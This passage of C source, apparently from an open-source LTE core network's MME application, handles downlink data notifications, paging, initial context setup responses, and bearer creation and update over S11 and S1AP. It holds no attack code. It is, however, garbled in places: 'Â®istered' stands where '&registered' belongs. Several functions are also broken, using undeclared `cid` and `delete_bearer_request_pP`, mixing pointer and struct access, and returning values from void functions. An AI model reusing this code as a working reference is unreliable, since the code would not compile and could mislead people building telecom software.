/** The number of bearers will be incremented in the method. S10 should just pick the ebi. */
}
mme_app_send_s1ap_path_switch_request_acknowledge(ue_context->mme_ue_s1ap_id, encryption_algorithm_capabilities, integrity_algorithm_capabilities, &bcs_tbs);
}
/** If an S10 Handover procedure is ongoing, directly check for released bearers. */
mme_app_s10_proc_mme_handover_t * s10_handover_procedure = mme_app_get_s10_procedure_mme_handover(ue_context);
if(s10_handover_procedure){
if(s10_handover_procedure->failed_ebi_list.num_ebi){
pdn_context_t * registered_pdn_ctx = RB_MIN(PdnContexts, &ue_context->pdn_contexts);
if(registered_pdn_ctx){
mme_app_send_s11_delete_bearer_cmd(ue_context->mme_teid_s11, registered_pdn_ctx->s_gw_teid_s11_s4,
®istered_pdn_ctx->s_gw_address_s11_s4.address.ipv4_address, &s10_handover_procedure->failed_ebi_list);
}
}
OAILOG_FUNC_RETURN(LOG_MME_APP, RETURNok);
}
/** Nothing special to be done for S1 handover. Just trigger a Delete Bearer Command, if there are idle bearers. No need to check for per-pdn. */
ebi_list_t ebi_list;
memset(&ebi_list, 0, sizeof(ebi_list_t));
RB_FOREACH (pdn_context, PdnContexts, &ue_context->pdn_contexts) {
RB_FOREACH (current_bearer_p, SessionBearers, &pdn_context->session_bearers) {
if((!(current_bearer_p->bearer_state & BEARER_STATE_ENB_CREATED)) && !current_bearer_p->enb_fteid_s1u.teid){
/** Trigger a Delete Bearer Command. */
ebi_list.ebis[ebi_list.num_ebi] = current_bearer_p->ebi;
ebi_list.num_ebi++;
}
}
}
if(!ebi_list.num_ebi){
OAILOG_INFO(LOG_MME_APP, "No pending removal of bearers for ueId: " MME_UE_S1AP_ID_FMT ". \n", ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNok);
}
if(ebi_list.num_ebi){
OAILOG_INFO(LOG_MME_APP, "%d bearers pending for removal for ueId: " MME_UE_S1AP_ID_FMT ". Triggering a Delete Bearer Command. \n", ebi_list.num_ebi, ue_context->mme_ue_s1ap_id);
/** Trigger a Delete Bearer Command. */
pdn_context_t * registered_pdn_ctx = RB_MIN(PdnContexts, &ue_context->pdn_contexts);
if(registered_pdn_ctx){
mme_app_send_s11_delete_bearer_cmd(ue_context->mme_teid_s11, registered_pdn_ctx->s_gw_teid_s11_s4,
®istered_pdn_ctx->s_gw_address_s11_s4.address.ipv4_address, &ebi_list);
}
}
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNok);
}
//------------------------------------------------------------------------------
static
void mme_app_send_downlink_data_notification_acknowledge(gtpv2c_cause_value_t cause, teid_t saegw_s11_teid, teid_t local_s11_teid, uint32_t peer_ip, void *trxn){
OAILOG_FUNC_IN (LOG_MME_APP);
/** Send a Downlink Data Notification Acknowledge with cause. */
MessageDef * message_p = itti_alloc_new_message (TASK_MME_APP, S11_DOWNLINK_DATA_NOTIFICATION_ACKNOWLEDGE);
DevAssert (message_p != NULL);
itti_s11_downlink_data_notification_acknowledge_t *downlink_data_notification_ack_p = &message_p->ittiMsg.s11_downlink_data_notification_acknowledge;
memset ((void*)downlink_data_notification_ack_p, 0, sizeof (itti_s11_downlink_data_notification_acknowledge_t));
// todo: s10 TEID set every time?
downlink_data_notification_ack_p->teid = saegw_s11_teid;
downlink_data_notification_ack_p->local_teid = local_s11_teid;
/** Get the first PDN context. */
downlink_data_notification_ack_p->peer_ip = peer_ip;
downlink_data_notification_ack_p->cause.cause_value = cause;
downlink_data_notification_ack_p->trxn = trxn;
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_NAS_MME, NULL, 0, "MME_APP Sending S11 DOWNLINK_DATA_NOTIFICATION_ACK");
/** Sending a message to S10. */
itti_send_msg_to_task (TASK_S11, INSTANCE_DEFAULT, message_p);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_downlink_data_notification(const itti_s11_downlink_data_notification_t * const saegw_dl_data_ntf_pP){
struct ue_context_s *ue_context = NULL;
MessageDef *message_p = NULL;
int16_t bearer_id =5;
int rc = RETURNok;
OAILOG_FUNC_IN (LOG_MME_APP);
DevAssert (saegw_dl_data_ntf_pP );
DevAssert (saegw_dl_data_ntf_pP->trxn);
OAILOG_DEBUG (LOG_MME_APP, "Received S11_DOWNLINK_DATA_NOTIFICATION from S+P-GW\n");
ue_context = mme_ue_context_exists_s11_teid (&mme_app_desc.mme_ue_contexts, saegw_dl_data_ntf_pP->teid);
if (ue_context == NULL) {
MSC_LOG_RX_DISCARDED_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "DOWNLINK_DATA_NOTIFICATION FROM local S11 teid " TEID_FMT " ", saegw_dl_data_ntf_pP->teid);
OAILOG_ERROR(LOG_MME_APP, "We didn't find this teid in list of UE: %08x\n", saegw_dl_data_ntf_pP->teid);
/** Send a DOWNLINK_DATA_NOTIFICATION_ACKNOWLEDGE. */
mme_app_send_downlink_data_notification_acknowledge(CONTEXT_NOT_FOUND, saegw_dl_data_ntf_pP->teid, INVALID_TEID, saegw_dl_data_ntf_pP->peer_ip, saegw_dl_data_ntf_pP->trxn);
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNerror);
}
MSC_LOG_RX_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "DOWNLINK_DATA_NOTIFICATION for local S11 teid " TEID_FMT " IMSI " IMSI_64_FMT " ",
saegw_dl_data_ntf_pP->teid, ue_context->imsi);
/** Get the last known tac. */
emm_data_context_t * emm_context = emm_data_context_get(&_emm_data, ue_context->mme_ue_s1ap_id);
if(!emm_context || emm_context->_tai_list.numberoflists == 0){
OAILOG_ERROR (LOG_MME_APP, "No EMM data context exists for UE_ID " MME_UE_S1AP_ID_FMT " or no tai list. \n", ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNerror);
}
/** Check that the UE is in idle mode!. */
if (ECM_IDLE != ue_context->ecm_state) {
OAILOG_ERROR (LOG_MME_APP, "UE_Context with IMSI " IMSI_64_FMT " and mmeUeS1apId: %d. \n is not in ECM_IDLE mode, instead %d. \n",
ue_context->imsi, ue_context->mme_ue_s1ap_id, ue_context->ecm_state);
// todo: later.. check this more granularly
mme_app_send_downlink_data_notification_acknowledge(UE_ALREADY_RE_ATTACHED, saegw_dl_data_ntf_pP->teid, ue_context->mme_teid_s11, saegw_dl_data_ntf_pP->peer_ip, saegw_dl_data_ntf_pP->trxn);
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNerror);
}
OAILOG_INFO(LOG_MME_APP, "MME_MOBILTY_COMPLETION timer is not running. Starting paging procedure for UE with imsi " IMSI_64_FMT ". \n", ue_context->imsi);
// todo: timeout to wait to ignore further DL_DATA_NOTIF messages->
mme_app_send_downlink_data_notification_acknowledge(REQUEST_ACCEPTED, saegw_dl_data_ntf_pP->teid, ue_context->mme_teid_s11, saegw_dl_data_ntf_pP->peer_ip, saegw_dl_data_ntf_pP->trxn);
/** No need to start paging timeout timer. It will be handled by the Periodic TAU update timer. */
// todo: no downlink data notification failure and just removing the UE?
/** Do paging on S1AP interface. */
message_p = itti_alloc_new_message (TASK_MME_APP, S1AP_PAGING);
DevAssert (message_p != NULL);
itti_s1ap_paging_t *s1ap_paging_p = &message_p->ittiMsg.s1ap_paging;
memset (s1ap_paging_p, 0, sizeof (itti_s1ap_paging_t));
s1ap_paging_p->mme_ue_s1ap_id = ue_context->mme_ue_s1ap_id; /**< Just MME_UE_S1AP_ID. */
/** Send the latest SCTP. */
// s1ap_paging_p->sctp_assoc_id_key = ue_context->sctp_assoc_id_key;
s1ap_paging_p->tac = emm_context->originating_tai.tac;
s1ap_paging_p->ue_identity_index = (uint16_t)((ue_context->imsi %1024) & 0xFFFF); /**< Just MME_UE_S1AP_ID. */
s1ap_paging_p->tmsi = ue_context->guti.m_tmsi;
OAILOG_INFO(LOG_MME_APP, "Calculated ue_identity index value for UE with imsi " IMSI_64_FMT " and ueId " MME_UE_S1AP_ID_FMT" is %d. \n", ue_context->imsi, ue_context->mme_ue_s1ap_id, s1ap_paging_p->ue_identity_index);
/** S1AP Paging. */
itti_send_msg_to_task (TASK_S1AP, INSTANCE_DEFAULT, message_p);
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNerror);
}
//------------------------------------------------------------------------------
void
mme_app_handle_initial_context_setup_rsp (
itti_mme_app_initial_context_setup_rsp_t * const initial_ctxt_setup_rsp_pP)
{
OAILOG_FUNC_IN (LOG_MME_APP);
struct ue_context_s *ue_context = NULL;
MessageDef *message_p = NULL;
ebi_list_t ebi_list;
OAILOG_DEBUG (LOG_MME_APP, "Received MME_APP_INITIAL_CONTEXT_SETUP_RSP from S1AP\n");
ue_context = mme_ue_context_exists_mme_ue_s1ap_id (&mme_app_desc.mme_ue_contexts, initial_ctxt_setup_rsp_pP->ue_id);
if (ue_context == NULL) {
OAILOG_DEBUG (LOG_MME_APP, "We didn't find this mme_ue_s1ap_id in list of UE: " MME_UE_S1AP_ID_FMT "\n", initial_ctxt_setup_rsp_pP->ue_id);
MSC_LOG_EVENT (MSC_MMEAPP_MME, " MME_APP_INITIAL_CONTEXT_SETUP_RSP Unknown ue %u", initial_ctxt_setup_rsp_pP->ue_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
// if(ue_context->came_from_tau){
// OAILOG_DEBUG (LOG_MME_APP, "Sleeping @ MME_APP_INITIAL_CONTEXT_SETUP_RSP from S1AP\n");
// sleep(1);
// OAILOG_DEBUG (LOG_MME_APP, "After sleeping @ MME_APP_INITIAL_CONTEXT_SETUP_RSP from S1AP\n");
// }
// Stop Initial context setup process guard timer,if running
if (ue_context->initial_context_setup_rsp_timer.id != MME_APP_TIMER_INACTIVE_ID) {
if (timer_remove(ue_context->initial_context_setup_rsp_timer.id, NULL)) {
OAILOG_ERROR (LOG_MME_APP, "Failed to stop Initial Context Setup Rsp timer for UE id %d \n", ue_context->mme_ue_s1ap_id);
}
ue_context->initial_context_setup_rsp_timer.id = MME_APP_TIMER_INACTIVE_ID;
}
// pdn_context_t * registered_pdn_ctx = NULL;
// /** Update all bearers and get the pdn context id. */
// RB_FOREACH (registered_pdn_ctx, PdnContexts, &ue_context->pdn_contexts) {
// DevAssert(registered_pdn_ctx);
//
// /**
// * Get the first PDN whose bearers are not established yet.
// * Do the MBR just one PDN at a time.
// */
// bearer_context_t * bearer_context_to_establish = NULL;
// RB_FOREACH (bearer_context_to_establish, SessionBearers, ®istered_pdn_ctx->session_bearers) {
// DevAssert(bearer_context_to_establish);
// /** Add them to the bearears list of the MBR. */
// if (bearer_context_to_establish->ebi == initial_ctxt_setup_rsp_pP->e_rab_id[0]){
// goto found_pdn;
// }
// }
// registered_pdn_ctx = NULL;
// }
// OAILOG_INFO(LOG_MME_APP, "No PDN context found with unestablished bearers for mmeUeS1apId " MME_UE_S1AP_ID_FMT ". Dropping Initial Context Setup Response. \n", ue_context->mme_ue_s1ap_id);
// OAILOG_FUNC_OUT (LOG_MME_APP);
//
//found_pdn:
//// /** Save the bearer information as pending or send it directly if UE is registered. */
//// RB_FOREACH (bearer_context_to_establish, SessionBearers, ®istered_pdn_ctx->session_bearers) {
//// DevAssert(bearer_context_to_establish);
//// /** Add them to the bearears list of the MBR. */
//// if (bearer_context_to_establish->ebi == initial_ctxt_setup_rsp_pP->e_rab_id[0]){
//// goto found_pdn;
//// }
//// }
/** Process the failed bearers (for all APNs). */
memset(&ebi_list, 0, sizeof(ebi_list_t));
mme_app_release_bearers(initial_ctxt_setup_rsp_pP->ue_id, &initial_ctxt_setup_rsp_pP->e_rab_release_list, &ebi_list);
if(mme_app_modify_bearers(initial_ctxt_setup_rsp_pP->ue_id, &initial_ctxt_setup_rsp_pP->bcs_to_be_modified) != RETURNok){
OAILOG_ERROR (LOG_MME_APP, "Error while initial context setup response handling for UE: " MME_UE_S1AP_ID_FMT "\n", initial_ctxt_setup_rsp_pP->ue_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
pdn_context_t * registered_pdn_ctx = RB_MIN(PdnContexts, &ue_context->pdn_contexts);
if(!registered_pdn_ctx){
OAILOG_ERROR (LOG_MME_APP, "Error while initial context setup response handling for UE: " MME_UE_S1AP_ID_FMT ". No PDN context could be found. \n", initial_ctxt_setup_rsp_pP->ue_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
uint8_t flags = 0;
mme_app_send_s11_modify_bearer_req(ue_context, registered_pdn_ctx, flags);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_release_access_bearers_resp (
const itti_s11_release_access_bearers_response_t * const rel_access_bearers_rsp_pP)
{
OAILOG_FUNC_IN (LOG_MME_APP);
struct ue_context_s *ue_context = NULL;
ue_context = mme_ue_context_exists_s11_teid (&mme_app_desc.mme_ue_contexts, rel_access_bearers_rsp_pP->teid);
if (ue_context == NULL) {
MSC_LOG_RX_DISCARDED_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 RELEASE_ACCESS_BEARERS_RESPONSE local S11 teid " TEID_FMT " ",
rel_access_bearers_rsp_pP->teid);
OAILOG_DEBUG (LOG_MME_APP, "We didn't find this teid in list of UE: %" PRIX32 "\n", rel_access_bearers_rsp_pP->teid);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
MSC_LOG_RX_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 RELEASE_ACCESS_BEARERS_RESPONSE local S11 teid " TEID_FMT " IMSI " IMSI_64_FMT " ", rel_access_bearers_rsp_pP->teid, ue_context->emm_context._imsi64);
S1ap_Cause_t s1_ue_context_release_cause = {0};
s1_ue_context_release_cause.present = S1ap_Cause_PR_radioNetwork;
s1_ue_context_release_cause.choice.radioNetwork = S1ap_CauseRadioNetwork_release_due_to_eutran_generated_reason;
// Send UE Context Release Command
if(ue_context->s1_ue_context_release_cause == S1AP_INVALID_CAUSE)
ue_context->s1_ue_context_release_cause = S1AP_NAS_NORMAL_RELEASE;
mme_app_itti_ue_context_release(ue_context->mme_ue_s1ap_id, ue_context->enb_ue_s1ap_id, ue_context->s1_ue_context_release_cause, ue_context->e_utran_cgi.cell_identity.enb_id);
if (ue_context->s1_ue_context_release_cause == S1AP_SCTP_SHUTDOWN_OR_RESET) {
// Just cleanup the MME APP state associated with s1.
mme_ue_context_update_ue_sig_connection_state (&mme_app_desc.mme_ue_contexts, ue_context, ECM_IDLE);
}
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_s11_create_bearer_req (
itti_s11_create_bearer_request_t * create_bearer_request_pP)
{
MessageDef *message_p = NULL;
struct ue_context_s *ue_context = NULL;
struct pdn_context_s *pdn_context = NULL;
bearer_context_t *default_bc = NULL;
emm_data_context_t *emm_context = NULL;
OAILOG_FUNC_IN (LOG_MME_APP);
ue_context = mme_ue_context_exists_s11_teid (&mme_app_desc.mme_ue_contexts, create_bearer_request_pP->teid);
if (ue_context == NULL) {
MSC_LOG_RX_DISCARDED_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 CREATE_BEARER_REQUEST local S11 teid " TEID_FMT " ",
create_bearer_request_pP->teid);
OAILOG_DEBUG (LOG_MME_APP, "We didn't find this teid in list of UE: %" PRIX32 "\n", create_bearer_request_pP->teid);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
emm_context = emm_data_context_get(&_emm_data, ue_context->mme_ue_s1ap_id);
if (emm_context == NULL) {
OAILOG_ERROR (LOG_MME_APP, "No EMM context for UE " MME_UE_S1AP_ID_FMT " could be found. Disregarding CBReq. \n", ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** The validation of the request will be done in the ESM layer. */
MSC_LOG_RX_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 CREATE_BEARER_REQUEST ueId " MME_UE_S1AP_ID_FMT " PDN id %u IMSI " IMSI_64_FMT " num bearer %u",
ue_context->mme_ue_s1ap_id, cid, ue_context->imsi, create_bearer_request_pP->bearer_contexts.num_bearer_context);
mme_app_get_session_bearer_context_from_all(ue_context, create_bearer_request_pP->linked_eps_bearer_id, &default_bc);
if(!default_bc){
MSC_LOG_RX_DISCARDED_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 CREATE_BEARER_REQUEST local S11 teid " TEID_FMT " ",
create_bearer_request_pP->teid);
OAILOG_ERROR(LOG_MME_APP, "Default ebi %d not found in list of UE: %" PRIX32 "\n", create_bearer_request_pP->linked_eps_bearer_id, create_bearer_request_pP->teid);
mme_app_send_s11_create_bearer_rsp(ue_context, (uintptr_t)create_bearer_request_pP->trxn, REQUEST_REJECTED, create_bearer_request_pP->bearer_contexts);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
bearer_context_t * bc_ded = NULL;
/** Check that the remaining bearers are not existing. */
for(int num_bc = 0; num_bc < create_bearer_request_pP->bearer_contexts->num_bearer_context ; num_bc++){
mme_app_get_session_bearer_context_from_all(ue_context, create_bearer_request_pP->bearer_contexts->bearer_contexts[num_bc].eps_bearer_id, &bc_ded);
if(bc_ded){
MSC_LOG_RX_DISCARDED_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 CREATE_BEARER_REQUEST local S11 teid " TEID_FMT " ",
create_bearer_request_pP->teid);
OAILOG_ERROR(LOG_MME_APP, "Ded ebi %d already existing in list of UE with ueId " MME_UE_S1AP_ID_FMT" \n",
create_bearer_request_pP->bearer_contexts->bearer_contexts[num_bc].eps_bearer_id, ue_context->mme_ue_s1ap_id);
mme_app_send_s11_create_bearer_rsp(ue_context, (uintptr_t)create_bearer_request_pP->trxn, REQUEST_REJECTED, create_bearer_request_pP->bearer_contexts);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
}
/** Check if a s10 handover procedure exists. If it already has pending qos, reject the request. */
mme_app_s10_proc_mme_handover_t * s10_proc_handover = mme_app_get_s10_procedure_mme_handover(ue_context);
if(s10_proc_handover){
if(s10_proc_handover->pending_qos){
// todo: multi apn
OAILOG_ERROR(LOG_MME_APP, "A pending QoS procedure for the handovered UE " MME_UE_S1AP_ID_FMT" already exists, rejecting a second one. \n", ue_context->mme_ue_s1ap_id);
mme_app_send_s11_create_bearer_rsp(ue_context, (uintptr_t)create_bearer_request_pP->trxn, TEMP_REJECT_HO_IN_PROGRESS, create_bearer_request_pP->bearer_contexts);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
}
/** Create an S11 procedure. */
mme_app_s11_proc_create_bearer_t* s11_proc_create_bearer = mme_app_create_s11_procedure_create_bearer(ue_context);
if(!s11_proc_create_bearer){
MSC_LOG_RX_DISCARDED_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 CREATE_BEARER_REQUEST local S11 teid " TEID_FMT " ",
create_bearer_request_pP->teid);
OAILOG_ERROR(LOG_MME_APP, "No CBR procedure could be created for of UE with ueId " MME_UE_S1AP_ID_FMT ". \n", ue_context->mme_ue_s1ap_id);
mme_app_send_s11_create_bearer_rsp(ue_context, (uintptr_t)create_bearer_request_pP->trxn, TEMP_REJECT_HO_IN_PROGRESS, create_bearer_request_pP->bearer_contexts);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
s11_proc_create_bearer->proc.s11_trxn = (uintptr_t)create_bearer_request_pP->trxn;
s11_proc_create_bearer->num_bearers_unhandled = create_bearer_request_pP->bearer_contexts->num_bearer_context;
s11_proc_create_bearer->bcs_tbc = create_bearer_request_pP->bearer_contexts;
s11_proc_create_bearer->linked_ebi = default_bc->linked_ebi;
s11_proc_create_bearer->pci = default_bc->pdn_cx_id;
s11_proc_create_bearer->proc.pti = create_bearer_request_pP->pti;
// todo: PCOs
if(s10_proc_handover){
OAILOG_WARNING(LOG_MME_APP, "A handover procedure exists for the UE " MME_UE_S1AP_ID_FMT". "
"Waiting for it to complete to continue with the s11 procedure. \n",ue_context->mme_ue_s1ap_id);
create_bearer_request_pP->bearer_contexts = NULL;
s10_proc_handover->pending_qos = true;
OAILOG_FUNC_OUT (LOG_MME_APP);
} else if(ue_context->mm_state != UE_REGISTERED) {
/** Check for Idle Tau procedure. */
nas_emm_tau_proc_t * nas_proc_tau = get_nas_specific_procedure_tau(emm_context);
if(nas_proc_tau){
OAILOG_WARNING(LOG_MME_APP, "A TAU procedure still exists for the UE " MME_UE_S1AP_ID_FMT". "
"Waiting for it to complete to continue with the s11 procedure. \n",ue_context->mme_ue_s1ap_id);
create_bearer_request_pP->bearer_contexts = NULL;
nas_proc_tau->pending_qos = true; /**< No timer on the procedure is necessary. */ //
OAILOG_FUNC_OUT (LOG_MME_APP);
}
}
/*
* Let the ESM layer validate the request and build the pending bearer contexts.
* Also, send a single message to the eNB.
* May received multiple back.
*/
message_p = itti_alloc_new_message (TASK_MME_APP, NAS_ACTIVATE_EPS_BEARER_CTX_REQ);
AssertFatal (message_p , "itti_alloc_new_message Failed");
itti_nas_activate_eps_bearer_ctx_req_t *nas_activate_eps_bearer_ctx_req = &message_p->ittiMsg.nas_activate_eps_bearer_ctx_req;
nas_activate_eps_bearer_ctx_req->bcs_to_be_created_ptr = (uintptr_t)create_bearer_request_pP->bearer_contexts;
/** MME_APP Create Bearer Request. */
nas_activate_eps_bearer_ctx_req->ue_id = ue_context->mme_ue_s1ap_id;
nas_activate_eps_bearer_ctx_req->linked_ebi = create_bearer_request_pP->linked_eps_bearer_id;
/** Copy the BC to be created. */
/** Might be UE triggered. */
nas_activate_eps_bearer_ctx_req->pti = create_bearer_request_pP->pti;
nas_activate_eps_bearer_ctx_req->cid = default_bc->pdn_cx_id;
/** Set it to NULL, such that it is not deallocated. */
create_bearer_request_pP->bearer_contexts = NULL;
/** No need to set bearer states, we won't establish the bearers yet. */
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_NAS_MME, NULL, 0, "0 NAS_ACTIVATE_EPS_BEARER_CTX_REQ mme_ue_s1ap_id " MME_UE_S1AP_ID_FMT " ",
nas_activate_eps_bearer_ctx_req->ue_id);
itti_send_msg_to_task (TASK_NAS_ESM, INSTANCE_DEFAULT, message_p);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_s11_update_bearer_req (
itti_s11_update_bearer_request_t * update_bearer_request_pP)
{
MessageDef *message_p = NULL;
struct ue_context_s *ue_context = NULL;
emm_data_context_t *emm_context = NULL;
OAILOG_FUNC_IN (LOG_MME_APP);
ue_context = mme_ue_context_exists_s11_teid (&mme_app_desc.mme_ue_contexts, update_bearer_request_pP->teid);
if (ue_context == NULL) {
MSC_LOG_RX_DISCARDED_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 UPDATE_BEARER_REQUEST local S11 teid " TEID_FMT " ",
update_bearer_request_pP->teid);
OAILOG_ERROR(LOG_MME_APP, "We didn't find this teid in list of UE: %" PRIX32 "\n", update_bearer_request_pP->teid);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
emm_context = emm_data_context_get(&_emm_data, ue_context->mme_ue_s1ap_id);
if (emm_context == NULL) {
OAILOG_ERROR (LOG_MME_APP, "No EMM context for UE " MME_UE_S1AP_ID_FMT " could be found. Disregarding UBReq. \n", ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** The validation of the request will be done in the ESM layer. */
MSC_LOG_RX_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 UPDATE_BEARER_REQUEST ueId " MME_UE_S1AP_ID_FMT " PDN id %u IMSI " IMSI_64_FMT " num bearer %u",
ue_context->mme_ue_s1ap_id, cid, ue_context->imsi, update_bearer_request_pP->bearer_contexts.num_bearer_context);
ebi_t linked_ebi = 0;
pdn_cid_t cid = 0;
/** No default EBI will be sent. Need to check all dedicated EBIs. */
for(int num_bearer = 0; num_bearer < update_bearer_request_pP->bearer_contexts->num_bearer_context; num_bearer++){
bearer_context_t * ded_bc = NULL;
mme_app_get_session_bearer_context_from_all(ue_context, update_bearer_request_pP->bearer_contexts->bearer_contexts[num_bearer].eps_bearer_id, &ded_bc);
if(!ded_bc || ded_bc->esm_ebr_context.status != ESM_EBR_ACTIVE){ /**< Status is active if it is idle TAU. */
MSC_LOG_RX_DISCARDED_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 UPDATE_BEARER_REQUEST local S11 teid " TEID_FMT " ",
update_bearer_request_pP->teid);
OAILOG_ERROR(LOG_MME_APP, "We could not find an (ACTIVE) dedicated bearer for ebi %d in bearer list of UE: %" MME_UE_S1AP_ID_FMT". \n",
update_bearer_request_pP->bearer_contexts->bearer_contexts[num_bearer].eps_bearer_id, ue_context->mme_ue_s1ap_id);
mme_app_send_s11_update_bearer_rsp(ue_context, 0, (uintptr_t)update_bearer_request_pP->trxn, update_bearer_request_pP->bearer_contexts);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
linked_ebi = ded_bc->linked_ebi;
cid = ded_bc->pdn_cx_id;
DevAssert(linked_ebi);
}
/**
* Check the received new APN-AMBR, if exists.
* If the subscribed UE-APN-AMBR is exceeded, we reject the update request directly.
* todo: also need to check each apn with the subscribed APN-AMBR..
*/
ambr_t new_total_apn_ambr = mme_app_total_p_gw_apn_ambr_rest(ue_context, cid);
if((new_total_apn_ambr.br_dl += update_bearer_request_pP->apn_ambr.br_dl) > ue_context->subscribed_ue_ambr.br_dl){
OAILOG_ERROR(LOG_MME_APP, "New total APN-AMBR exceeds the subscribed APN-AMBR (DL) for ueId " MME_UE_S1AP_ID_FMT". \n", ue_context->mme_ue_s1ap_id);
mme_app_send_s11_update_bearer_rsp(ue_context, 0, (uintptr_t)update_bearer_request_pP->trxn, update_bearer_request_pP->bearer_contexts);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
if((new_total_apn_ambr.br_ul += update_bearer_request_pP->apn_ambr.br_ul) > ue_context->subscribed_ue_ambr.br_ul){
OAILOG_ERROR(LOG_MME_APP, "New total APN-AMBR exceeds the subscribed APN-AMBR (UL) for ueId " MME_UE_S1AP_ID_FMT". \n", ue_context->mme_ue_s1ap_id);
mme_app_send_s11_update_bearer_rsp(ue_context, 0, (uintptr_t)update_bearer_request_pP->trxn, update_bearer_request_pP->bearer_contexts);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Check if a s10 handover procedure exists. If it already has pending qos, reject the request. */
mme_app_s10_proc_mme_handover_t * s10_proc_handover = mme_app_get_s10_procedure_mme_handover(ue_context);
if(s10_proc_handover){
if(s10_proc_handover->pending_qos){
OAILOG_ERROR(LOG_MME_APP, "A pending QoS procedure for the handovered UE " MME_UE_S1AP_ID_FMT" already exists, rejecting a second one. \n", ue_context->mme_ue_s1ap_id);
mme_app_send_s11_update_bearer_rsp(ue_context, TEMP_REJECT_HO_IN_PROGRESS, (uintptr_t)update_bearer_request_pP->trxn, update_bearer_request_pP->bearer_contexts);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
}
/** Create an S11 procedure for the UBR. */
mme_app_s11_proc_update_bearer_t* s11_proc_update_bearer = mme_app_create_s11_procedure_update_bearer(ue_context);
if(!s11_proc_update_bearer){
MSC_LOG_RX_DISCARDED_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 UPDATE_BEARER_REQUEST local S11 teid " TEID_FMT " ",
delete_bearer_request_pP->teid);
OAILOG_ERROR(LOG_MME_APP, "We could not create an UBR procedure for UE with ueId " MME_UE_S1AP_ID_FMT". \n",ue_context->mme_ue_s1ap_id);
mme_app_send_s11_update_bearer_rsp(ue_context, TEMP_REJECT_HO_IN_PROGRESS, (uintptr_t)update_bearer_request_pP->trxn, update_bearer_request_pP->bearer_contexts);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
s11_proc_update_bearer->proc.s11_trxn = (uintptr_t)update_bearer_request_pP->trxn;
s11_proc_update_bearer->num_bearers_unhandled = update_bearer_request_pP->bearer_contexts->num_bearer_context;
s11_proc_update_bearer->bcs_tbu = update_bearer_request_pP->bearer_contexts;
s11_proc_update_bearer->pci = cid;
s11_proc_update_bearer->new_used_ue_ambr = new_total_apn_ambr; /**< Use this (actualized) value in the E-RAB Modify Request. */
s11_proc_update_bearer->apn_ambr = update_bearer_request_pP->apn_ambr;
s11_proc_update_bearer->proc.pti = update_bearer_request_pP->pti;
s11_proc_update_bearer->linked_ebi = linked_ebi;
// todo: PCOs
/*
* Let the ESM layer validate the request and build the pending bearer contexts.
* Also, send a single message to the eNB.
* May received multiple back.
*
* Check if a handover procedure exists, if so delay the request.
*/
if(s10_proc_handover){
OAILOG_WARNING(LOG_MME_APP, "A handover procedure exists for the UE " MME_UE_S1AP_ID_FMT". "
"Waiting for it to complete to continue with the s11 procedure. \n",ue_context->mme_ue_s1ap_id);
update_bearer_request_pP->bearer_contexts = NULL;
s10_proc_handover->pending_qos = true;
OAILOG_FUNC_OUT (LOG_MME_APP);
} else if(ue_context->mm_state != UE_REGISTERED) {
/** Check for Idle Tau procedure. */
nas_emm_tau_proc_t * nas_proc_tau = get_nas_specific_procedure_tau(emm_context);
if(nas_proc_tau){
OAILOG_WARNING(LOG_MME_APP, "A TAU procedure still exists for the UE " MME_UE_S1AP_ID_FMT". "
"Waiting for it to complete to continue with the s11 procedure. \n",ue_context->mme_ue_s1ap_id);
update_bearer_request_pP->bearer_contexts = NULL;
nas_proc_tau->pending_qos = true;
OAILOG_FUNC_OUT (LOG_MME_APP);
}
}
message_p = itti_alloc_new_message (TASK_MME_APP, NAS_MODIFY_EPS_BEARER_CTX_REQ);
AssertFatal (message_p , "itti_alloc_new_message Failed");
